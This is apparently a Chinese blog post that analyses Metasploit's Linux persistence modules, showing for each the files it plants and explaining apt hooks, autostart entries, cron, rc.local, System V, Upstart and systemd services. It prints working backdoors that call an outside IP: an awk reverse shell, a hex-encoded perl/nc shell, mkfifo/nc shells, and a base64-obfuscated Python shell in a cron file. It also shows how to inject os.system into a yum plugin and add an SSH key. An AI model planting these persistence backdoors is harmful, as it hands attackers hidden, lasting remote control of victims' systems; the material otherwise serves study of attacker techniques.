Linux MSF Persistence taro Posted on Apr 3 2021 Backdoor Linux metasploit persistence # Linux ## apt_package_manager_persistence ![](/api/file/getImage?fileId=6068599a83f5f2000d000003) ### 源码位置 https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/documentation/modules/exploit/linux/local/apt_package_manager_persistence.md https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/modules/exploits/linux/local/apt_package_manager_persistence.rb ### 流程介绍 首先向`/etc/apt/apt.conf.d/74OflHk`中写入一个文件, ```conf APT::Update::Pre-Invoke {"setsid /usr/local/bin/ZvtIb 2>/dev/null &"}; ``` > **APT::Update::Pre-Invoke** > This is a list of shell commands to run after invoking dpkg/apt-get > 后面跟着的命令会被在执行`apt-get`/`dpkg`后调用 > DPkg::Post-Invoke {"command";}; DPkg::Post-Invoke {"/path/to/sbin/command";}; DPkg::Post-Invoke {"/path/to/script";}; > https://www.cyberciti.biz/faq/debian-ubuntu-linux-hook-a-script-command-to-apt-get-upgrade-command/ > **setsid** setsid命令 子进程从父进程继承了:SessionID、进程组ID和打开的终端。子进程如果要脱离这些,代码中可通过调用setsid来实现。,而命令行或脚本中可以通过使用命令setsid来运行程序实现。setsid帮助一个进程脱离从父进程继承而来的已打开的终端、隶属进程组和隶属的会话。 > ``` [root@root ~]# setsid ping www.ibm.com [root@root ~]# ps -ef |grep www.ibm.com root 31094 1 0 07:28 ? 00:00:00 ping www.ibm.com root 31102 29217 0 07:29 pts/4 00:00:00 grep www.ibm.com [root@root ~]# > ``` > https://wangchujiang.com/linux-command/c/setsid.html `/usr/local/bin/ZvtIb` 中内容为 ```bash ELFT44 ��awk 'BEGIN{s="/inet/tcp/0/123.57.62.143/5440";do{if((s|&getline c)<=0)break;if(c){while((c|&getline)>0)print $0|&s;close(c)}} while(c!="exit")close(s)} ``` https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/modules/payloads/singles/cmd/unix/reverse_awk.rb ## autostart_persistence ![](/api/file/getImage?fileId=6068701983f5f2000d000009) ### 源码位置 https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/modules/exploits/linux/local/autostart_persistence.rb ### 流程介绍 向`/root/.config/autostart/OolLp.desktop`写入文件 ```ini [Desktop Entry] Type=Application Name=OolLp NoDisplay=true Terminal=false Exec=/bin/sh -c "perl -e 'system(pack(qq,H192,,qq,6d6b6669666f202f746d702f66687369663b206e63203132332e35372e36322e31343320313134363220303c2f746d702f6668736966207c202f62696e2f7368203e2f746d702f666873696620323e26313b20726d202f746d702f6668736966,))'" ``` > Autostart > https://wiki.archlinux.org/index.php/KDE#Autostart > 以下位置会自动执行 > - ~/.config/plasma-workspace/env/ 在登录前执行脚本 - ~/.config/autostart-scripts/ 登录时执行脚本 - ~/.config/plasma-workspace/shutdown/ 用户登出时执行脚本. - ~/.config/autostart/foo.desktop 执行` .desktop`格式的文件 https://specifications.freedesktop.org/autostart-spec/0.5/ar01s02.html ## bash_profile_persistence ![](/api/file/getImage?fileId=6068701983f5f2000d000008) ### 源码位置 https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/documentation/modules/exploit/linux/local/bash_profile_persistence.md https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/modules/exploits/linux/local/bash_profile_persistence.rb ### 流程介绍 先向`/var/tmp/NuQLYJhWnn`写入文件 ```bash mkfifo /tmp/gwec; nc 123.57.62.143 26163 0</tmp/gwec | /bin/sh >/tmp/gwec 2>&1; rm /tmp/gwec ``` 在`~/.bashrc`处写入 ```shell /var/tmp/NuQLYJhWnn > /dev/null 2>&1 & ``` 达到每次登陆即可执行后门的效果 ## cron_persistence ### 源码位置 https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/documentation/modules/exploit/linux/local/cron_persistence.md https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/modules/exploits/linux/local/cron_persistence.rb ![](/api/file/getImage?fileId=6068728783f5f2000d00000a) ### 流程介绍 target分别代表了向 ```ruby 'Targets' => [ [ 'Cron', { :path => '/etc/cron.d' } ], [ 'User Crontab', { :path => '/var/spool/cron' } ], [ 'System Crontab', { :path => '/etc' } ] ], ``` 写入corntab文件 ``` ╰─# cat /etc/cron.d/eaxZTyQpDp * * * * * root python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAgICAgICAsICAgICAgc3VicHJvY2VzcyAgICAgICAsICAgICAgb3MgIDsgICAgICAgICBob3N0PSIwLjAuMC4wIiAgOyAgICAgICAgIHBvcnQ9NTQ2NyAgOyAgICAgICAgIHM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCAgICAgICAsICAgICAgc29ja2V0LlNPQ0tfU1RSRUFNKSAgOyAgICAgICAgIHMuY29ubmVjdCgoaG9zdCAgICAgICAsICAgICAgcG9ydCkpICA7ICAgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICAgICwgICAgICAwKSAgOyAgICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICAgICAsICAgICAgMSkgIDsgICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgICAgLCAgICAgIDIpICA7ICAgICAgICAgcD1zdWJwcm9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp')[0]))" #GScvOEAhHn ``` ## rc_local_persistence ### 源码位置 https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/modules/exploits/linux/local/rc_local_persistence.rb https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/documentation/modules/exploit/linux/local/rc_local_persistence.md ![](/api/file/getImage?fileId=6068732e83f5f2000d00000b) ### 流程介绍 读取`/etc/rc.local` (开机时运行此文件) 在`exit 0` 前添加 ``` ╰─# cat /etc/rc.local mkfifo /tmp/sbddg; nc 0.0.0.0 20955 0</tmp/sbddg | /bin/sh >/tmp/sbddg 2>&1; rm /tmp/sbddg exit 0 ``` ## service_persistence ### 源码位置 https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/documentation/modules/exploit/linux/local/service_persistence.md https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/modules/exploits/linux/local/service_persistence.rb ![](/api/file/getImage?fileId=60687fce83f5f2000d00000c) ### 流程介绍 这个模块会在机器上创建一个服务,并且让他自动运行,我们需要有写服务文件的权限并且重启服务 Targets: - System V: - CentOS <= 5 - Debian <= 6 - Kali 2.0 - Ubuntu <= 9.04 - Upstart: - CentOS 6 - Fedora >= 9, < 15 - Ubuntu >= 9.10, <= 14.10 - systemd: - CentOS 7 - Debian >= 7, <=8 - Fedora >= 15 - Ubuntu >= 15.04 `System V` 当服务死掉的时候不会自动重启,所以需要手动重启它。 首先在`/usr/local/bin/ZvtIb`写入 ```bash mkfifo /tmp/buvc; nc 0.0.0.0 22075 0</tmp/buvc | /bin/sh >/tmp/buvc 2>&1; rm /tmp/buvc ``` 作为payload #### System V 在`/etc/init.d/tsUqPGf`下写入文件 ``` #!/bin/sh ### BEGIN INIT INFO # Provides: service # Required-Start: $network # Required-Stop: $network # Default-Start: 2 3 4 5 # Default-Stop: 0 1 6 # Short-Description: Start daemon at boot time # Description: Enable service provided by daemon. ### END INIT INFO dir="/usr/local/bin" cmd="yXpuy" name=`basename $0` pid_file="/var/run/$name.pid" stdout_log="/var/log/$name.log" stderr_log="/var/log/$name.err" get_pid() { cat "$pid_file" } is_running() { [ -f "$pid_file" ] && ps `get_pid` > /dev/null 2>&1 } case "$1" in start) if is_running; then echo "Already started" else echo "Starting $name" cd "$dir" sudo $cmd >> "$stdout_log" 2>> "$stderr_log" & echo $! > "$pid_file" if ! is_running; then echo "Unable to start, see $stdout_log and $stderr_log" exit 1 fi fi ;; stop) if is_running; then echo -n "Stopping $name.." kill `get_pid` for i in {1..10} do if ! is_running; then break fi echo -n "." sleep 1 done echo if is_running; then echo "Not stopped; may still be shutting down or shutdown may have failed" exit 1 else echo "Stopped" if [ -f "$pid_file" ]; then rm "$pid_file" fi fi else echo "Not running" fi ;; restart) $0 stop if is_running; then echo "Unable to stop, will not attempt to start" exit 1 fi $0 start ;; status) if is_running; then echo "Running" else echo "Stopped" exit 1 fi ;; *) echo "Usage: $0 {start|stop|restart|status}" exit 1 ;; esac exit 0 ``` > **System V** > 发展到今天,大多数基于Linux的操作系统,使用的是System-V风格的init守护进程,换句话说,它们的启动处理由init进程管理,其管理功能在一定程度上继承了基于System V 的Unix操作系统。该守护进程根据运行级别(run level)的原则,系统的运行级别表示当前计算机的状态。 **system V 7个运行级别含义** > - runlevel0: 系统停机状态,系统默认运行级别不能设置为0,否则不能正常启动,机器关闭。 - runlevel1:单用户工作状态,root权限,用于系统维护,禁止远程登陆,就像Windows下的安全模式登录。 - runlevel2:多用户状态,没有NFS支持。 - runlevel3:完整的多用户模式,有NFS,登陆后进入控制台命令行模式。 - runlevel4:系统未使用,保留一般不用,在一些特殊情况下可以用它来做一些事情。例如在笔记本电脑的电池用尽时,可以切换到这个模式来做一些设置。 - runlevel5:X11控制台,登陆后进入图形GUI模式,XWindow系统。 - runlevel6:系统正常关闭并重启,默认运行级别不能设为6,否则不能正常启动。运行init6机器就会重启。标准的Linux运行级别为3或5 > **system V运行原理** linux系统类似于window系统一样可以自启动和禁止一些服务程序,在`system V`管理体系中,这些服务脚本程序存在于`/etc/init.d`文件夹下,在etc文件夹下,存在rc0,rc1…rc6等目录,顾名思义,这些目录下的文件即为不同的运行级别需要启动或者禁止的服务,实际上,这些目录下的文件只是一些符号链接文件,指向`init.d`下相应的服务。 linux系统`init`进程会根据`inittab`配置文件确定当前运行级别并执行相应级别rc目录的服务脚本程序,rc目录下存在两种文件,一种以S打头代表启动服务,一种以K打头禁止服务,字母后两位数字代表执行顺序,按从小到大顺序执行。 我们可用`runlevel`命令查看当前系统运行级别,init X(0~6)切换其它运行级别,若需要设置默认启动的运行级别,需要修改`inittab`文件`id:2:initdefault:`这一行,改后`reboot`即可默认级别生效。 **system V基本工具** `system V`主要用`chkconfig`,`sevice`,`update-rc.d`命令管理服务,在使用这些命令操作服务前,需要将相应服务脚本放入`/etc/init.d`目录中。 `chkconfig`基本命令如下: > - 添加服务 chkconfig –add servicename - 使服务自动启动 chkconfig –level 2345 servicename on - 使服务自动禁止 chkconfig –level 2345 servicename off - 删除服务 chkconfig –del servicename - 检查服务状态 chkconfig servicename status - 显示所有已启动的服务 chkconfig –list > `service`基本命令如下: > - 启动某服务 service servicename start - 停止某服务 service servicename stop - 重启某服务 service servicename restart > `update-rc.d`基本命令如下: > - 删除服务 update-rc.d -f servicename remove - 使服务在指定级别自动启动或禁止 update-rc.d service start 启动序号 2 3 4 5 . stop 禁止序号 0 1 6 .上述又等价于 update-rc.d servicename defaults 启动序号 禁止序号 > #### Upstart 在`/etc/init/IwwNVQl.conf`下写入 ``` description "Start daemon at boot time" start on filesystem or runlevel [2345] stop on shutdown script cd /usr/local/bin echo $$ > /var/run/bUVrL.pid exec bUVrL end script post-stop exec sleep 10 respawn respawn limit unlimited ``` > **Upstart** > 为了解决由于顺序执行和无法感知服务之间的依赖关系,使得通过 SysVinit 实现服务并行启动加快系统启动速度的方案变得困难。 > Upstart 的所有服务管理脚本存放在 > `/etc/init/*.conf` 文件名就是 service name 脚本内容也不像 SysVinit 那样是一个普通的 shell 脚本,而是它预先规范好的一个配置文件(以下也称之为“配置文件”而非“脚本”),一个最基础的配置文件是这样的 >```conf description "MySQL Service" > start on runlevel [2345] stop on runlevel [!2345] > exec /usr/bin/mysqld >``` 整个配置文件非常简洁,第一行是服务描述,可有可无,但一般会写上以便理解,Upstart 保留了 Runlevel 的概念,这里定义了该服务在 runlevel 为 2 3 4 5 时启动该服务,而非这几个 Runlevel 时停止改服务,启动服务的命令为 /usr/bin/mysqld。把该配置文件保存到 `/etc/init/mysqld.conf`之后,我们就可以通过以下命令控制 MySQL Service 的启动状态 > - start mysqld # 启动 - restart mysqld # 重启 - stop mysqld # 停止 - status mysqld # 检查状态 > 在服务启动之后,Upstart 会自动把该服务的标准输出(stdout)内容保存在 `/var/log/upstart/(service-name).log` 文件里,这个例子就是存放在 `/var/log/upstart/mysqld.log` 文件里,供有需要时查阅 > > **post-stop**: 脚本块,在主运行脚本被杀死之后 >``` post-stop script > exec echo post-stop >> /root/upstart.txt end script >``` >**respawn**: 命令,设置服务异常停止后自动重启 >https://blog.coding.net/blog/upstart-management-system-service >http://blog.fens.me/linux-upstart/ #### Systemd 在`/lib/systemd/system/zirLQaQ.service`下写入 ``` [Unit] Description=Start daemon at boot time After= Requires= [Service] RestartSec=10s Restart=always TimeoutStartSec=5 ExecStart=/bin/sh /usr/local/bin/yXpuy [Install] WantedBy=multi-user.target ``` >**systemd体系** `systemd`是Linux下的一种`init`软件,`Systemd`目的是要取代`Unix`时代以来一直在使用的`init`系统,兼容`SysV`和`LSB`的启动脚本,而且够在进程启动过程中更有效地引导加载服务。 在`systemd`的管理体系里面,以前的运行级别(`runlevel`)的概念被新的运行目标(`target`)所取代。`tartget`的命名类似于`multi-user.target`等这种形式,比如原来的运行级别3(`runlevel3`)就对应新的多用户目标(`multi-user.target`),`run level 5`就相当于`graphical.target`。 由于不再使用`runlevel`概念,所以`/etc/inittab`也不再被系统使用 — 无怪乎在新版本`ubuntu`上找不到`inittab`文件了。 而在`systemd`的管理体系里面,默认的`target`(相当于以前的默认运行级别)是通过软链来实现。如: > >```bash >ln -s /lib/systemd/system/runlevel3.target >/etc/systemd/system/default.target >``` > 在`/lib/systemd/system/` 下面定义`runlevelX.target`文件目的主要是为了能够兼容以前的运行级别level的管理方法。 事实上`/lib/systemd/system/runlevel3.target`,同样是被软连接到`multi-user.target`。 > **systemd基本工具** `systemd`使用`systemctl`命令管理。 使用`systemctl`命令需事先将`xxx.service`脚本放入`/etc/systemd/system`目录中 > - 使服务自启动 systemctl enable xxx.service - 使服务自动禁止 systemctl disable xxx.service - 检查服务状态 systemctl status xxx.service - 启动某服务 systemctl start xxx.service - 停止某服务 systemctl stop xxx.service - 重启某服务 systemctl restart xxx.service > 每一个服务以.service结尾,一般会分为3部分:[Unit]、[Service]和[Install],我写的这个服务用于开机运行Node.js项目,具体内容如下: >``` [Unit] Description=xiyoulibapi After=network.target remote-fs.target nss-lookup.target > [Service] Type=forking PIDFile=/node.js/pid ExecStart=/usr/local/bin/forever start /node.js/xiyoulib/bin/www ExecReload=/usr/local/bin/forever restart /node.js/xiyoulib/bin/www ExecStop=/usr/local/bin/forever stop /node.js/xiyoulib/bin/www PrivateTmp=true > [Install] WantedBy=multi-user.target >``` > - **[Unit]**部分 : 主要是对这个服务的说明,内容包括Description和After,Description用于描述服务,After用于描述服务类别 > - **[Service]**部分: 是服务的关键,是服务的一些具体运行参数的设置,这里Type=forking是后台运行的形式,PIDFile为存放PID的文件路径,ExecStart为服务的具体运行命令,ExecReload为重启命令,ExecStop为停止命令,PrivateTmp=True表示给服务分配独立的临时空间,注意:[Service]部分的启动、重启、停止命令全部要求使用绝对路径,使用相对路径则会报错! > - **[Install]**部分:是服务安装的相关设置,可设置为多用户的 #### Systemd user 在`~/.config/systemd/user/sypifqU.service`下写入 ```c Description=Start daemon at boot time After= Requires= [Service] RemainAfterExit=yes RestartSec=10s Restart=always TimeoutStartSec=5 ExecStart=/bin/sh /usr/local/bin/vIziD [Install] WantedBy=default.target ``` 再将`~/.config/systemd/user/default.target.wants/sypifqU.service`软连接到`~/.config/systemd/user/sypifqU.service` > **systemd/User** 从 systemd 226 版本开始,/etc/pam.d/system-login 默认配置中的 pam_systemd 模块会在用户首次登陆的时候, 自动运行一个 systemd --user 实例。 只要用户还有会话存在,这个进程就不会退出;用户所有会话退出时,进程将会被销毁。当#随系统自动启动 systemd 用户实例启用时, 这个用户实例将在系统启动时加载,并且不会被销毁。systemd 用户实例负责管理用户服务,用户服务可以使用systemd提供的各种便捷机制来运行守护进程或自动化任务,如 socket 激活、定时器、依赖体系以及通过 cgroup 限制进程等。 > - /usr/lib/systemd/user/ 这里存放的是各个软件包安装的服务。 - /etc/systemd/user/ 这里存放的是由系统管理员维护的系统范围的用户服务。 - ~/.config/systemd/user/ 这里存放的是用户自身的服务。 > 当 systemd 用户实例启动时,它会将 default.target 带起来。其他用户单元可以通过systemctl --user来管理。 > https://wiki.archlinux.org/index.php/Systemd_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)/User_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87) ## yum_package_manager_persistence ### 源码位置 https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/modules/exploits/linux/local/yum_package_manager_persistence.rb https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/documentation/modules/exploit/linux/local/yum_package_manager_persistence.md ![](/api/file/getImage?fileId=6069644783f5f2000d000013) ### 流程介绍 在centos里`/usr/lib/yum-plugins/fastestmirror.py`是默认打开的yum 插件 1. 检测`/usr/lib/yum-plugins/fastestmirror.py`是否存在并且可写 2. 执行`grep -F 'plugins=1' /etc/yum.conf`看查是否开放了plugin功能 3. 执行`grep -F 'enabled=1' /etc/yum/pluginconf.d/fastestmirror.conf` 确认是否开放了plugin功能 4. 插件是用python写的,可以生成pyc,也能成功执行 5. 检测后门位置是否可写 6. 执行`grep -F 'import os' /usr/lib/yum-plugins/fastestmirror.py`查看`是否存在 import os 这一行` 7. 在`import os`后加一行`os.system('setsid #{backdoor_path} 2>/dev/null \\&` ![](/api/file/getImage?fileId=6069644783f5f2000d000011) > yum的插件将在运行`yum`时被运行 > http://yum.baseurl.org/wiki/WritingYumPlugins.html ## sshkey_persistence ### 源码位置 https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/modules/post/linux/manage/sshkey_persistence.rb ![](/api/file/getImage?fileId=60689a1983f5f2000d00000e) ### 流程介绍 向`~/.ssh/authorized_keys`写入公钥 Windows MSF Persistence 面试问题总结